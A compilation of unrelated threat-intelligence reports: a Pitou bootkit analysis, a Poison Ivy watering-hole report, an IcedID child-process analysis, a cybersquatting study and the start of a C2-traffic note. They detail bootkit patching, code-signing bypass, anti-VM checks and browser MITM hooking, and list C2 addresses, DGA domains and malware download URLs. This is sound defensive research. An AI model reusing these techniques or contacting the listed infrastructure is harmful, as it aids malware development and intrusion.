| T1547 | Persistence | Threat actor configures system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. |
| T1547 | Privilege Escalation | Threat actor configures system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. |
| T1564 | Defense Evasion | Threat actor may attempt to hide artifacts associated with their behaviors to evade detection. |
| T1562.001 | Defense Evasion | Threat actor may disable security tools to avoid possible detection of their tools and activities. |
| T1140 | Defense Evasion | Threat actor may use obfuscated files or information to hide artifacts of an intrusion. |
| T1071.001 | Command and Control | Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. |
| T1071.003 | Command and Control | Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. |
| T1132 | Command and Control | Command and control (C2) information is encoded using a standard data encoding system. |
| T1056.001 | Collection | Threat actor may log user keystrokes to intercept credentials as the user types them. |
| T1113 | Collection | Threat actor may attempt to take screen captures of the desktop to gather information over the course of an operation. |
| T1125 | Collection | Threat actor can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. |
| T1041 | Exfiltration | Threat actor relies on command and control infrastructure to exfiltrate data. |
---
## About
Telsy is a top provider for advanced cyber defense and operations practices through its internal threat intelligence research division. An elite group of highly skilled professionals works daily on the development of technologies capable of analyzing, correlating, and reporting known and emerging threats in order to support the strengthening of national security as well as the business and growth of its customers.
For questions, insights, or collaborations, it’s possible to refer to the following points of contact:
**Email:** [email protected]
**Website:** www.telsy.com |
# News - Malware & Hoax
TG Soft's Research Centre (C.R.A.M.) has analyzed in the last months new versions of Bootkit dubbed Pitou. From September to October 2017 we have seen new samples of Pitou in the wild.
The first version of Pitou was released in April 2014. It may be an evolution of the rootkit "Srzizbi" developed in 2008. Pitou is a spambot, the main goal is to send spam from the computer of the victim.
It uses the sophisticated technique of Bootkit to bypass the Microsoft Kernel-Mode Code Signing policy to load its own driver (kernel payload) on Windows. The Bootkits reached the peak of popularity from 2010 to 2012 with Sinowal, TDL4, TDSS (Olmasco), Cidox (Rovnix), and GAPZ. These Bootkits disappeared after 2012, seeming to mark the end of the era of Bootkit. In 2014, Pitou was detected as a new Bootkit, but it seemed that it did not have a big diffusion in the wild. In the last months of 2017, Pitou is back!
Pitou spreads in various ways:
- drive-by-download from compromised websites
- from other malware
Pitou can infect all operating systems of Windows: from XP to Windows 10 (32/64 bit). Pitou may be considered the last Bootkit that infects the partitions of type MBR (it cannot infect UEFI). Pitou is known by the name "Backboot".
### The sample analyzed:
- **Name:** 63.TMP.EXE
- **Size:** 673,792 bytes
- **MD5:** B6BA98AB70571172DA9731D2C183E3CC
- **Found:** 20 September 2017
- **Compilation Time Date Stamp:** 19 September 2017 20:55:31
- **First submission on VT:** 2017-09-23 04:58:27
### Bootkit installation
When the dropper is executed, the malware infects the Master Boot Record of the disk in the following way:
Pitou uses the "standard" technique of infection of the MBR. It overwrites the last 1 MB with the loader of Pitou and the Driver in the unpartitioned space. In the first 17 sectors of the last 1 MB, there is the code of the loader of Pitou, and in the following sectors, there is the Driver (kernel payload) in encrypted form.
The code of the MBR infected by Pitou reads the 17 sectors at the end of the disk (in the unpartitioned space) in memory at address 500:0. The 17 sectors are encrypted, so Pitou decrypts them with a simple algorithm (xor and ror).
The next step is to hook the int 13h at address 500:9Bh. After that, Pitou has hooked the int 13h, it decrypts the original MBR at address 0:7C00h and executes it.
### Switch from Real Mode to Protect Mode
Now that Pitou has passed control to the original MBR, Pitou is hooked only at int 13h. The routine of int 13h of Pitou detects each request to read sectors, function ah=42h (Extended Read Sectors) and ah=02h (Read Sectors), which allows Pitou to know when the boot process will read the file C:\NTLDR or C:\BOOTMGR.
In this step, Pitou must hook C:\NTLDR or C:\BOOTMGR to "survive" when there is a switch from real mode into protect mode. Pitou patches "ntldr" with:
- `xxxxxxxx call gate selector 8:600h`
- `00000600 jmp 0x5183`
The first patch is "call gate selector 8:600h", so "ntldr" will go to address 0x00000600. At address 0x00000600, Pitou has patched this area of memory with `0xe9 0x7e 0x4b 0x0 0x0`, which jumps (jmp) to address 0x00005183 (0x600 + 0x4b7e + 0x5 = 0x5183). The address 0x00005183 in protect mode is equal in real mode to address 500:0183 where Pitou is saved at this moment.
Now Pitou is working in protect mode, but the area of memory where Pitou is saved can be overwritten by Windows or the memory can be paged. So Pitou needs to allocate "safe" memory; it will allocate 2 pages and copy the loader at 32 bit into the new area of memory.
Now Pitou parses the NTLDR to hook the call at the function KiSystemStartup. The hook is made before the NTLDR calls KiSystemStartup because at that moment the NTLDR has loaded "NTOSKRNL.EXE" but not executed. The hook allows Pitou to know the base address of the module "NTOSKRNL.EXE", then Pitou will parse the module "NTOSKRNL.EXE" to insert a new hook.
The last hook in "NTOSKRNL.EXE" allows Pitou to know that the kernel of Windows (NTOSKRNL.EXE) is running properly. Now Pitou can use the API exported by NTOSKRNL.EXE. Pitou creates a new system thread calling the function PsCreateSystemThread exported by NTOSKRNL.EXE. The thread will load the driver, bypassing the Microsoft Kernel-Mode Code Signing policy.
In this phase, Pitou will:
1. Allocate 0xfde00 bytes in memory ("physical memory")
2. Read and decrypt the last 0x7ef sectors of the disk into "physical memory"
3. Allocate a buffer with size equal to the ImageSize of the driver for "virtual memory"
4. "Load" the driver from "physical memory" to "virtual memory"
5. Create the structure "DriverObject" to pass to the Entrypoint of the driver
### Pitou on Windows 10 64 bit
The loader of Pitou on Windows 10 64 bit uses 3 different codes:
- 16 bit (from BIOS to Bootmgr)
- 32 bit (from Bootmgr to Bootmgr.exe)
- 64 bit (from Winload.exe to NTOSKRNL.EXE)
In the scheme, the first point indicates the hook at int 13h by Pitou to know when the "Bootmgr" is read. The second hook is made inside the "Bootmgr" to switch from real mode into protect mode. In this phase, the "Bootmgr" will extract from it a file PE dubbed "Bootmgr.exe". The file "Bootmgr.exe" works in 32 bit and is executed by Bootmgr. At this point, Pitou (32 bit) will hook "Bootmgr.exe" to know when it will load the file "Winload.exe" (64 bit). This hook is needed to survive the switch from 32 bit to 64 bit. When this hook is called, Pitou (64 bit) will parse the file "Winload.exe" to hook when "Winload.exe" will load and execute "NTOSKRNL.EXE". When the hook inside "Winload.exe" is called, then Pitou will parse "NTOSKRNL.EXE" to hook the function "InbvIsBootDriverInstalled". The last hook in the function "InbvIsBootDriverInstalled" is needed to know when "NTOSKRNL.EXE" is loaded and ready. As in the previous case, Pitou will load the 64 bit driver, bypassing the Microsoft Kernel-Mode Code Signing policy.
### Pitou Driver 32bit
We have analyzed the 32 bit driver of Pitou; the 64 bit version is similar. The driver extracted from the end of the disk has the following characteristics:
- **Size:** 437,248 bytes
- **MD5:** EA286ABDE0CBBF414B078400B1295D1C
- **Compilation Time Date Stamp:** 10 July 2017 15:59:35
- **No submission on VT**
- **Fully obfuscated:** difficult to analyze in a static way
- **Anti-VM**
- **Stealth**
- **SpamBot** (works completely in kernel mode)
The driver is obfuscated, containing many random strings like "Again, one can talk, for to kill" to evade AVs. We can see some levels of obfuscation. The first level is at "DriverEntry": The DriverEntry sets a local variable [ebp+var_C] with the value 0x209fdc, after which it calls many subroutines that modify this value each time until it arrives at the call to the subroutine "call [ebp+var_C]" with the real "DriverEntry". A second level of obfuscation is the use of hashes of blocks of 16 bytes of code/data to calculate the addresses of objects, structures, strings, data, etc. These hashes change every time with the execution of drivers, making it very difficult to take a snapshot for analysis.
### Anti-VM
Pitou checks if it is running under VM, Sandboxing, or in emulated/virtualized environments:
- MS_VM_CERT, VMware -> VMWare
- Parallels -> Parallels Desktop for Mac
- SeaBIOS -> SeaBIOS emulator
- i440fx, 440BX -> QEMU emulator
- Bochs -> Bochs emulator
- QEMU0 -> QEMU emulator
- VIRTUALMICROSOFT -> Hyper-V
- Oracle, VirtualBox -> Oracle VM VirtualBox
- innotek -> Innotek VirtualBox (Oracle VM VirtualBox)
If it is running under VM or in emulated/virtualized environments, then it stops working.
### Stealth
Pitou uses techniques to be stealthy, as other bootkits do. It hooks the Miniport Device Object of the disk to detect the request to read/write sectors of the disk:
- IRP_MJ_DEVICE_CONTROL
- IRP_MJ_INTERNAL_DEVICE_CONTROL
When an application in "user mode" sends a request to read the MBR, this is intercepted by Pitou in kernel mode, which instead reads the original MBR at the end of the disk, hiding the infection.
### Server C/C
Pitou connects to server C/C with IP 195.154.237.14 Port 7384 TCP, hosted in Paris. In encrypted form, it receives commands to send spam:
- email addresses
- body
- smtps
If Pitou cannot connect to server C/C, then it generates 4 domains (DGA), examples:
- unpeoavax.mobi
- ilsuiapay.us
- ivbaibja.net
- asfoeacak.info
### SpamBot
Pitou sends spam from the PC of the victim; this operation is made entirely in kernel mode. Here are some examples of spam sent by Pitou: Pitou sends spam for Viagra and Cialis.
### Pitou & Curiosity
In this paragraph, we discuss a little curiosity. We know the researcher "MalwareTech" for the kill switch of "WannaCry"; he is a very famous and smart anti-malware researcher. MalwareTech has written a POC of Bootkit called TinyXPB in April 2014 (Github). In the analysis of Pitou by F-Secure, they reported that the first detection of Pitou was in April 2014. We have found some similarities in the code of Pitou:
- The 16 bit loader is identical to the version written by MalwareTech in TinyXPB.
- The 32 bit loader is a little different.
From our point of view, we can say that there are some elements in the 16 bit loader that were already developed by other Bootkits, so in the code of Pitou, there aren't new ideas. We guess the author of Pitou has taken inspiration from MalwareTech.
### IOC
- **MD5:**
- B6BA98AB70571172DA9731D2C183E3CC (dropper)
- EA286ABDE0CBBF414B078400B1295D1C (driver 32 bit)
- EC08C0243B2C1D47052C94F7502FB91F (dropper)
- 9A7632F3ABB80CCC5BE22E78532B1B10 (driver 32 bit)
- 264A210BF6BDDED5B4E35F93ECA980C4 (driver 64 bit)
- **IP:** 195.154.237.14
### Conclusions
Pitou is the last known "MBR" Bootkit that uses this sophisticated technique. The Bootkit has a very strong arsenal that can bypass the Kernel Mode Code Signing policy and is very difficult to detect because it has a high degree of stealth. We are surprised to see Bootkits that infect the Master Boot Record again. Nowadays, new machines use BIOS with UEFI or have huge hard disks, so the partitions cannot be of type MBR. Therefore, in the near future, we expect to see more UEFI Bootkits than MBR Bootkits.
**Author:** Gianfranco Tonello
**Centro Ricerche Anti-Malware di TG Soft** |
# Recent Watering Hole Attacks Attributed to APT Group “th3bug” Using Poison Ivy
By Jen Miller-Osborn and Ryan Olson
September 19, 2014
We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access.
The attacks discussed in this blog are related to an APT campaign commonly referred to as “th3bug”, named for the password the actors often use with their Poison Ivy malware. Of note, only the older of the samples we cover in this blog used that password. We don’t know the reason the actors changed this, but it could possibly be in reaction to information widely published on the Internet about their activities, which use that password as a key component to tie the activity together. FireEye in particular published a paper describing several APT campaigns whose activity they correlate using Poison Ivy passwords.
In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.
While we were unable to recover the initial vulnerability used, it is possibly the same CVE 2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July. We cannot confirm the initial compromised sites, but we noted traffic to several known re-direct sites and the malware was configured to use the same command and control (C2) server. In addition, the download dates of many of our files pre-date those noted by Cisco by only a few days. All of the malware were variants of the Poison Ivy Remote Administration Tool (RAT) and were properly identified as such by our WildFire platform. The targets of the attack were:
- Uyghur sympathizers
- An East Asian office for a major US based computer manufacturer
- A major US university
- An international wholesale and retail telecom provider
We saw the first sample on July 14, 2014. This sample had an interesting PDB string - C:\Users\sophie\documents\visual studio 2010\Projects\init\Release\init.pdb with a time date string that exactly matched the PE timestamp of 11 July, 2014.
**Table 1**
SHA256: ba509a1d752f3165dc2821e0b1c6543c15988fd7abd4e56c6155de09d1640ce9
MD5: 18ad696f3459bf47f97734f2f14506e3
File Name: diff.exe
File Size: 97280
First Seen: 2014-07-14 13:55:36
Download URL: www.npec.com.tw/flash/diff.exe
C2 Domain: diff.qohub.info
Resolution: 203.69.42.22
The next day we collected several copies of the same malware intended for the same industry. They were downloaded from one of the download URLs in the below table, but all had the same MD5 and C2 domain.
**Table 2**
SHA256: 9d149baceaaff2a67161fec9b8978abc22f0a73a1c8ce87edf6e2fb673ac7374
MD5: 1ea41812a0114e5c6ae76330e7b4af69
File Name: diff.exe
File Size: 126976
First Seen: 2014-07-15 18:22:25
Download URLs:
- www.aanon.com.tw/flash/diff.exe
- www.npec.com.tw/flash/diff.exe
- uyghurweb.net/player/gmuweb.exe
C2 Domain: diff.qohub.info
Resolution: 203.69.42.22
On July 16, WildFire picked up a malicious executable hosted on uyghurweb.net, a legitimate Uyghur website that was compromised to infect users. The file was named “PYvBte.jar” but was actually a Windows executable. The file has the characteristics listed in Table 3, and appears to be a stand-alone executable version of the Metasploit Meterpreter shell. When this file runs, it downloads a payload from uyghurweb.net/player/gmuweb.exe and executes it. This file is the same Poison Ivy RAT described in Table 2.
**Table 3**
SHA256: ccfe61a28f35161c19340541dfd839075e31cd3b661f0936a4c667d805a65136
MD5: 7b0cb4d14d3d8b6ccc7453f7ddb33997
File Name: PYvBte.jar
File Size: 73802
First Seen: 2014-07-16 01:42:24
Download URL: uyghurweb.net/player/PYvBte.jar
On 21 July, we detected another sample that was noted in the Cisco TRAC blog. The initial download URL and IP resolution were different than the previous samples, but the C2 domain and resolution matched. This file is also a Poison Ivy variant.
**Table 4**
SHA256: 7f39e5b9d46386dd8142ef40ae526343274bdd5f27e38c07b457d290a277e807
MD5: efad656db0f9cc92b1e15dc9c540e407
File Name: setup.exe
File Size: 126976
First Seen: 2014-07-21 05:09:56
Download URL: www.ep66.com.tw/setup.exe
C2 Domain: app.qohub.info
Resolution: 203.69.42.23
Based on historical IP resolution overlaps between the above C2 domains and other domains that have also resolved to the same IPs, we found an additional sample from the beginning of this year. Interestingly, the first sample was not logged in VirusTotal prior to our submission, despite the sample having been in use in the wild for at least seven months. In addition, it is the only sample tied to this activity we found that used the Poison Ivy password “th3bug”. AVAST wrote a blog related to the activity we describe here and tied a file with the same name, but the sample we found doesn’t match any other details of the file they documented.
Also of note, the IP resolution for this C2 domain was changed to match the IP resolution of the C2 domains used in the July activity only a few days after these samples were seen. Additionally, the files PE timestamp was January 21, the day before we detected the sample. Targeted industries for this series are listed below.
- Another international wholesale and retail telecom provider
- A major visual computing company headquartered in the US
- A state-owned East Asian financial services company
**Table 5**
SHA256: e3d02e5f69d3c2092657d64c39aa0aea2a16ce804a47f3b5cf44774cde3166fe
MD5: 0cabd6aec2555e64bdf39320f338e027
File Name: AppletLow.jar
File Size: 53248
First Seen: 2014-01-22 18:47:03
Download URL: 140.112.158.132/phpmyadmin/test/AppletLow.jar
C2 Domain: 2014year.qpoe.com
Resolution: 192.168.1.3
Watering hole attacks will continue to be popular with APT campaigns, as they are much harder to defend against than spear phishing attacks. There is no way for people browsing to these websites to know in advance the normally trusted website has been compromised and will serve them malware when they visit it.
Ensuring web browsers and operating system software is fully patched and up-to-date is the best way to defend against this type of threat. However, to increase success rates APT campaigns can use zero-day exploits, so even a properly patched system would be compromised. Palo Alto Networks users should use our firewall’s ability to block executable downloads unless the user specifically authorizes it. If you want to allow executables through but prefer that they be analyzed for malicious activity, use our WildFire platform, which correctly identified all of the files listed in this blog as malware and provides users with a full report on the samples host and network-based activities. |
# A Deep Dive Into IcedID Malware: Part III - Analysis of Child Processes
**By Kai Lu | July 22, 2019**
**FortiGuard Labs Threat Analysis Report Series**
In Part II of this blog series, we identified three child processes that were created by the IcedID malware. In Part III below, we’ll provide a deep analysis of those child processes. Let’s get started!
## 0x01 Child Process A (entry offset: 0x168E)
This first child process is primarily responsible for performing web injection in browsers and acting as a proxy to inspect and manipulate traffic. It can also hook key functions in browsers.
The following is the pseudo code of the entry point.
In this function, the process first unhooks the RtlExitUserProcess API and then loads a number of dynamic libraries. The function sub_0x1A9F() is the core function.
Here’s a list of the key functionalities of this function:
1. Build a C2 server list
2. Create a thread to set IPC with file mapping technique
3. Create a thread and then call the QueueUserAPC function to add a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread. In APC, it can read the DAT config file, decrypt it with an RC4 key, and then decompress the data as follows. This DAT config file is used for performing web injections. It uses a Magic number, “zeus”. IcedID then uses a customized algorithm to decode the content. The following is the decompressed data.
4. Add self-signed certificate into the certificate store and then create a proxy server which is bound to 127.0.0.1 on TCP port 61420. Next, it calls the RegisterWaitForSingleObject function to register a WSA (Windows Socket API) event handler, then uses the socket of the initialized proxy server to handle all connect, send, and receive network requests. Additionally, in order to perform a MiTM attack on SSL connections, the proxy server has to generate a certificate and add it into the cert store. We can also see that this svchost.exe child process is listening on TCP port 61420.
5. Create a thread to perform code injection into the browser. It uses the ZwQuerySystemInformation function to gather a list of all current running processes. If a browser process is found, it performs code injection into the browser process and sets up a hook on the ZwWaitForSingleObject function. Before performing its code injection, it first checks to see if this process is running on 64 bits by calling the IsWow64Process function. It then performs a code injection into the browser process, and depending on the process bits version, it calls the corresponding hook function to set up a hook on the ZwWaitForSingleObject function.
Here we will use Firefox to demonstrate how it performs its process injection and sets up a hook. It sets up a hook on the ZwWaitForSingleObject API in the Firefox process as follows. When Firefox calls the ZwWaitForSingleObject function, it jumps to the trampoline code. The entry point of trampoline code is at offset 0x1856 from the injected memory region.
In this trampoline code, it first unhooks the ZwWaitForSingleObject API. Then it sets up a hook on the SSL_AuthCertificateHook API (in nss3.dll for Firefox). The nss3.SSL_AuthCertificateHook function specifies a certificate authentication callback function that is called to authenticate an incoming certificate. It configures the nss3.SSL_AuthCertificateHook function to always return SECSuccess. Note that it can set up a hook for browser-specific functions depending on the type of browser. However, we won’t be providing details for any other browsers in this blog.
Next, it continues to set up a hook on the connect API in ws2_32.dll. Once the connect function returns 0 (the connection has succeeded), it sends 12 bytes of data to proxy server 127.0.0.1:61420, which was created in this svchost.exe child process. The structure of these 12 bytes consists of four parts, as follows:
- 0x00: Unknown
- 0x04: Target website’s IP address
- 0x08: Port
- 0x0A: Browser type
## 0x02 Child Process B (entry offset: 0x1E0A)
This second child process is used to communicate with the C2 server. It will attempt to send an HTTP request to the C2 server via WebSocket. It also communicates with the parent svchost.exe process using a mapping file technique. Depending on the shared info, it may attempt to make network requests to a C2 server over SSL, and then create a new process, perform code injections, and set up a hook on the RtlExitUserProcess function.
## 0x03 Child Process C (entry offset: 0x10DF)
This process communicates with the parent svchost.exe process by using a mapping file technique. It is also able to perform some registry operations.
## 0x04 Solution
This malicious PE file has been detected as “W32/Kryptik.GTSU!tr” by the FortiGuard AntiVirus service. The C2 server list has been rated as “Malicious Websites” by the FortiGuard WebFilter service.
## 0x05 Conclusion
In this series of posts, I have provided a detailed analysis of a new IcedID malware sample. The entire detailed analysis is divided into three parts. The first two parts are available here: Part I: Unpacking, Hooking, and Process Injection and Part II: Analysis of the Core IcedID Payload (Parent Process).
IcedID is a sophisticated and complicated banking trojan that performs web injection in browsers and acts as a proxy to inspect and manipulate traffic. It is designed to steal information – such as credentials – from victims and then send that stolen information to attacker-controlled servers. To accomplish this, IcedID uses a large number of hooking and process injection techniques, and it also disguises itself as several svchost.exe processes, which we examined in this deep dive analysis series. |
# Cybersquatting: Attackers Mimicking Domains of Major Brands Including Facebook, Apple, Amazon, and Netflix to Scam Consumers
**By Zhanhao Chen and Janos Szurdi**
**September 1, 2020**
**Category:** Malware, Unit 42
**Tags:** DNS security, Phishing, scam, threat prevention, WildFire
## Executive Summary
Users on the internet rely on domain names to find brands, services, professionals, and personal websites. Cybercriminals take advantage of the essential role that domain names play on the internet by registering names that appear related to existing domains or brands, with the intent of profiting from user mistakes. This is known as cybersquatting. The purpose of squatting domains is to confuse users into believing that the targeted brands (such as Netflix) own these domain names (such as netflix-payments.com) or to profit from users’ typing mistakes (such as whatsalpp.com for WhatsApp). While cybersquatting is not always malicious toward users, it is illegal in the U.S., and squatting domains are often used or repurposed for attacks.
The Palo Alto Networks squatting detector system discovered that 13,857 squatting domains were registered in December 2019, an average of 450 per day. We found that 2,595 (18.59%) squatted domain names are malicious, often distributing malware or conducting phishing attacks, and 5,104 (36.57%) squatting domains we studied present a high risk to users visiting them, meaning they have evidence of association with malicious URLs within the domain or are utilizing bulletproof hosting.
We also ranked the Top 20 most abused domains in December 2019 based on adjusted malicious rate, which means that a domain is either a target of many squatting domains or most of these squatting domains are confirmed malicious. We found that domain squatters prefer profitable targets, such as mainstream search engines and social media, financial, shopping, and banking websites. When visiting these sites, users are often prepared to share sensitive information, which opens them up to phishing and scams to steal sensitive credentials or money if they can be deceived into visiting a squatting domain instead.
From December 2019 to date, we observed a variety of malicious domains with different objectives:
- **Phishing:** A domain mimicking Wells Fargo (secure-wellsfargo.org) targeting customers to steal sensitive information, including email credentials and ATM PINs. Also, a domain mimicking Amazon (amazon-india.online) set up to steal user credentials, specifically targeting mobile users in India.
- **Malware distribution:** A domain mimicking Samsung (samsungeblyaiphone.com) hosting Azorult malware to steal credit card information.
- **Command and control (C2):** Domains mimicking Microsoft (microsoft-store-drm-server.com and microsoft-sback-server.com) attempting to conduct C2 attacks to compromise an entire network.
- **Re-bill scam:** Several phishing sites mimicking Netflix (such as netflixbrazilcovid.com) set up to steal victims’ money by first offering a small initial payment for a subscription to a product like weight loss pills. However, if users don’t cancel the subscription after the promotion period, a much higher cost will be charged to their credit cards, usually $50-100.
- **Potentially unwanted program (PUP):** Domains mimicking Walmart (walrmart44.com) and Samsung (samsungpr0mo.online) distributing PUP, such as spyware, adware, or a browser extension. They usually perform unwanted changes, like changing the browser's default page or hijacking the browser to insert ads. Of note, the Samsung domain looks like a legitimate Australian educational news website.
- **Technical support scam:** Domains mimicking Microsoft (such as microsoft-alert.club) trying to scare users into paying for fake customer support.
- **Reward scam:** A domain mimicking Facebook (facebookwinners2020.com) scamming users with rewards, such as free products or money. To claim the prize, users need to fill out a form with their personal information such as date of birth, phone number, occupation, and income.
- **Domain parking:** A domain mimicking RBC Royal Bank (rbyroyalbank.com) leveraging a popular parking service, ParkingCrew, to generate profit based on how many users land on the site and click the advertisements.
We studied domain squatting techniques including typosquatting, combosquatting, level-squatting, bitsquatting, and homograph-squatting. Malicious actors can use these techniques to distribute malware or to conduct scams and phishing campaigns.
To detect squatting domains, Palo Alto Networks developed an automated system to capture emerging campaigns from newly registered domains, as well as from passive DNS (pDNS) data. We continue to detect currently active cybersquatting domains – we identify malicious and suspicious squatting domains and designate them to the appropriate categories (such as phishing, malware, C2, or grayware). Protections against domains classified in these categories are available in multiple Palo Alto Networks security subscriptions, including URL Filtering and DNS Security.
We recommend that enterprises block and closely monitor traffic from these domains, while consumers should make sure that they type domain names correctly and double-check that the domain owners are trusted before entering any site. More tips can be found in this post on how to protect against cyberattacks.
## Squatting Techniques
**Typosquatting** is one of the most common types of domain registration abuse. Typosquatters intentionally register misspelled variants (such as whatsalpp.com) of target domain names (whatsapp.com) to profit from users’ typing mistakes or to deceive users into believing that they are visiting the correct target domain. The most frequent typosquatting techniques include registering names one edit distance from the original domain, as these are the most common and overlooked mistakes users make.
**Combosquatting** is another widespread registration abuse that combines popular trademarks with words such as “security,” “payment,” or “verification.” Combosquatting domains like netflix-payments.com are often used in phishing emails, by scam websites, and for social engineering attacks to convince users that they are visiting web content maintained by the targeted trademark.
**Homographsquatting** domains take advantage of internationalized domain names (IDNs), where Unicode characters are allowed (such as microsofŧ.com). Attackers usually replace one or more characters in the target domain with visually similar characters from another language. These domains can be perfectly indistinguishable from their targets.
**Soundsquatting** domains take advantage of homophones, i.e., words that sound alike (for example, weather and whether). Attackers can register homophone variants of popular domains, such as 4ever21.com for forever21.com.
**Bitsquatting** domains have a character that differs in one bit (such as micposoft.com) from the same character as the targeted legitimate domain (microsoft.com). Bitsquatting can benefit attackers because a hardware error can cause a random bit-flip in memory where domain names are stored temporarily.
**Levelsquatting** domains include the targeted brand’s domain name as a subdomain. Victims of the phishing attack might believe they are visiting safety.microsoft.com, when instead, they are visiting the attacker’s website. This attack is especially worrisome for mobile users because the browser's address bar might not be wide enough to display the entire domain name.
## Detection of Various Squatting Techniques
We leverage lexical analysis to detect candidate squatting domains among the Palo Alto Networks newly registered domain (NRD) and pDNS feeds. Our list of target domains is the combination of popular domains in general and domains popular in specific categories, such as shopping and business. We generate the aforementioned squatting variants of the target domains and match them against our NRD feed and pDNS hostnames. Additionally, we cluster weekly collections of NRDs to see if registration campaigns target known brands.
After the initial discovery step, we leverage WHOIS data to filter out defensive registrations and a heuristic rule-based classifier to identify which domains are true squatting domains. During this period, we detected 13,857 squatting domains (~450 per day). Since then, the number of daily detections fluctuates from 200-900. To understand how these domains are leveraged for abuse, we use URL Filtering to categorize them. We label domain names as malicious if they are involved in distributing malware or phishing, or if they are being used for command and control (C2) communication. We label domains categorized as grayware, parked, questionable, insufficient content, and high-risk as suspicious. The average malicious rate of the 13,857 squatting domains is 18.59% (2,595) and the average suspicious rate is 36.57% (5,104).
## The Domain Squatting Ecosystem
To identify malicious infrastructure hotspots, we studied specific network elements and entities that typosquatters depend on for their operations. Specifically, we studied popular registrars, name services, autonomous systems, and certificate authorities used by domain squatters.
For each chart outlined below, we considered the number of squatting detections to reflect their popularity among domain squatters, and the malicious IOC rate to quantify the degree of threat to users. Combining these two metrics, we calculated the adjusted malicious rate of each entity. Thus, a high adjusted malicious rate means that an entity is either targeted by many squatting domains or most of these squatting domains are malicious.
### Top 20 Most Abused Domains
Domain squatters prefer popular and thus profitable targets. These targets are popular websites, such as mainstream search engines and social media, financial, shopping, and banking websites. Squatting domains mimicking these websites benefit from their credibility to attract more users that can be scammed.
### Top 10 Most Abused DNS Services and Autonomous Systems
Next, we look at the DNS services and the autonomous systems (AS) used by squatting domains to understand their infrastructure preferences. An AS is a set of IP subnets maintained by one or more network operators. The name service used by domain squatters often signifies which registrar was used to register the domain, where the squatting web page is hosted, or which parking service these domains utilize to profit from user traffic.
Additionally, parkingcrew.net and above.com are popular parking services because they provide a simple monetization avenue to domain owners, achieved by pointing domain names’ DNS records to their name servers. Parking services usually show users parked pages laden with ads or redirect users to affiliate marketing or malicious websites.
As hosting services often have their own AS, we observed that the AS distribution is somewhat consistent with the name service distribution. The top three most abused AS belong to the three most abused name service providers. The fourth most abused AS is owned by ztomy.com, a service favored for DNS hijacking attacks.
### Top 10 Most Abused Registrars
Registrars are entities that sell domain names to users. The most abused registrar, Internet.bs, provides free services preferred by domain squatters, including privacy-protected registration and URL forwarding. We captured several level-squatting campaigns at this registrar. The second-most abused registrar, Openprovider, offers cheap and easy bulk registrations, attracting many squatting registrations.
### Top 5 Most Abused Certificate Authorities
As HTTPS became common, cybercriminals increased the use of certificates to make their websites appear legitimate. The most popular CA is Cloudflare, as it offers a bundle, including free SSL encryption. The second most popular CA, cPanel Inc CA, is preferred by domain squatters because of the convenience and the ease of its AutoSSL services.
## Malicious Usages and Threats
In this section, we discuss in detail different types of abuse leveraging squatting domains. It includes malware distribution, phishing, C2 communication, potentially unwanted programs (PUPs), scams, ad-laden sites, and affiliate marketing.
### Phishing
Phishing is one of the most popular threats leveraging squatting domains. All of the different squatting techniques can be used to lure users into believing that a squatting domain is owned by the legitimate brand and to increase the efficiency of phishing and scam campaigns.
### Malware Distribution
Squatting domains are also often used to distribute malware. A combosquatting domain mimicking Samsung (samsungeblyaiphone.com) hosts Azorult malware. Azorult malware is a credential and payment card information stealer, usually spread by phishing emails.
### Command & Control (C2)
Malware instances on infected machines typically need to “phone home” to a C2 server for further commands to execute, to download new payloads, or to perform data exfiltration. Our squatting detection system captured squatting domains mimicking Microsoft.
### Potentially Unwanted Program (PUP)
A PUP could be either standalone software, like spyware or adware, or a browser extension. PUPs usually perform unwanted changes, like changing the browser's default page or hijacking the browser to insert ads.
### Technical Support Scam
Technical support scams are social engineering attacks. An associated website’s purpose is to scare people with audio and visual warnings into believing that their machine is compromised.
### Re-bill Scam
Re-bill scammers first offer a subscription to products such as weight loss pills in exchange for a small initial payment. However, if users don’t cancel the subscription after the promotion period, a much higher cost will be charged to their credit cards.
### Reward Scam
Another popular scam offers users rewards such as free products or money. To claim the prize, users need to fill out a form with their personal information such as date of birth, phone number, occupation, and income.
### Domain Parking
A common and easy way to monetize user traffic is to use a parking service by pointing the squatting domain’s IP address or NS record to the parking service’s servers.
## Conclusion
In summary, domain squatting techniques leverage the fact that users rely on domain names to identify brands and services on the Internet. These squatting domains are often used for nefarious activities, including phishing, malware, and PUP distribution, C2, and various scams. A high rate of malicious and suspicious usage among squatting domains was observed. Therefore, continuous monitoring and analysis of these domains are necessary to protect users.
Palo Alto Networks monitors newly registered domains and newly observed hostnames from pDNS and Zone files to capture emerging squatting campaigns. Our automatic pipeline publishes the domains it detects to URL Filtering and DNS Security using the appropriate category, including malware, phishing, C2, or grayware.
Analyzing the squatting ecosystem, we found that domain squatters prefer certain types of target domains, registrars, hosting services, and certificate authorities. The following attributes are common in cases of malicious squatted domains:
- Domain names that are targeting known financial, shopping, and banking domains.
- Domains that use frequently abused registrars and hosting services.
- Domains that do not have completely validated SSL certificates.
Therefore, we advise everyone to be more careful when encountering these domains. Palo Alto Networks customers using URL Filtering, DNS Security, WildFire, and Threat Prevention are protected from the threats related to squatting domains mentioned in this blog. |
# C2 Traffic Patterns: Personal Notes
Detection is a key point in threat hunting. During the past few weeks, straight in the middle of the winter holidays, many people restarted a studying program on cybersecurity. Some of them wrote to me asking if there is a way to detect common malware infections through network traces. So I thought it was a nice idea to share some personal and quick notes on that topic.
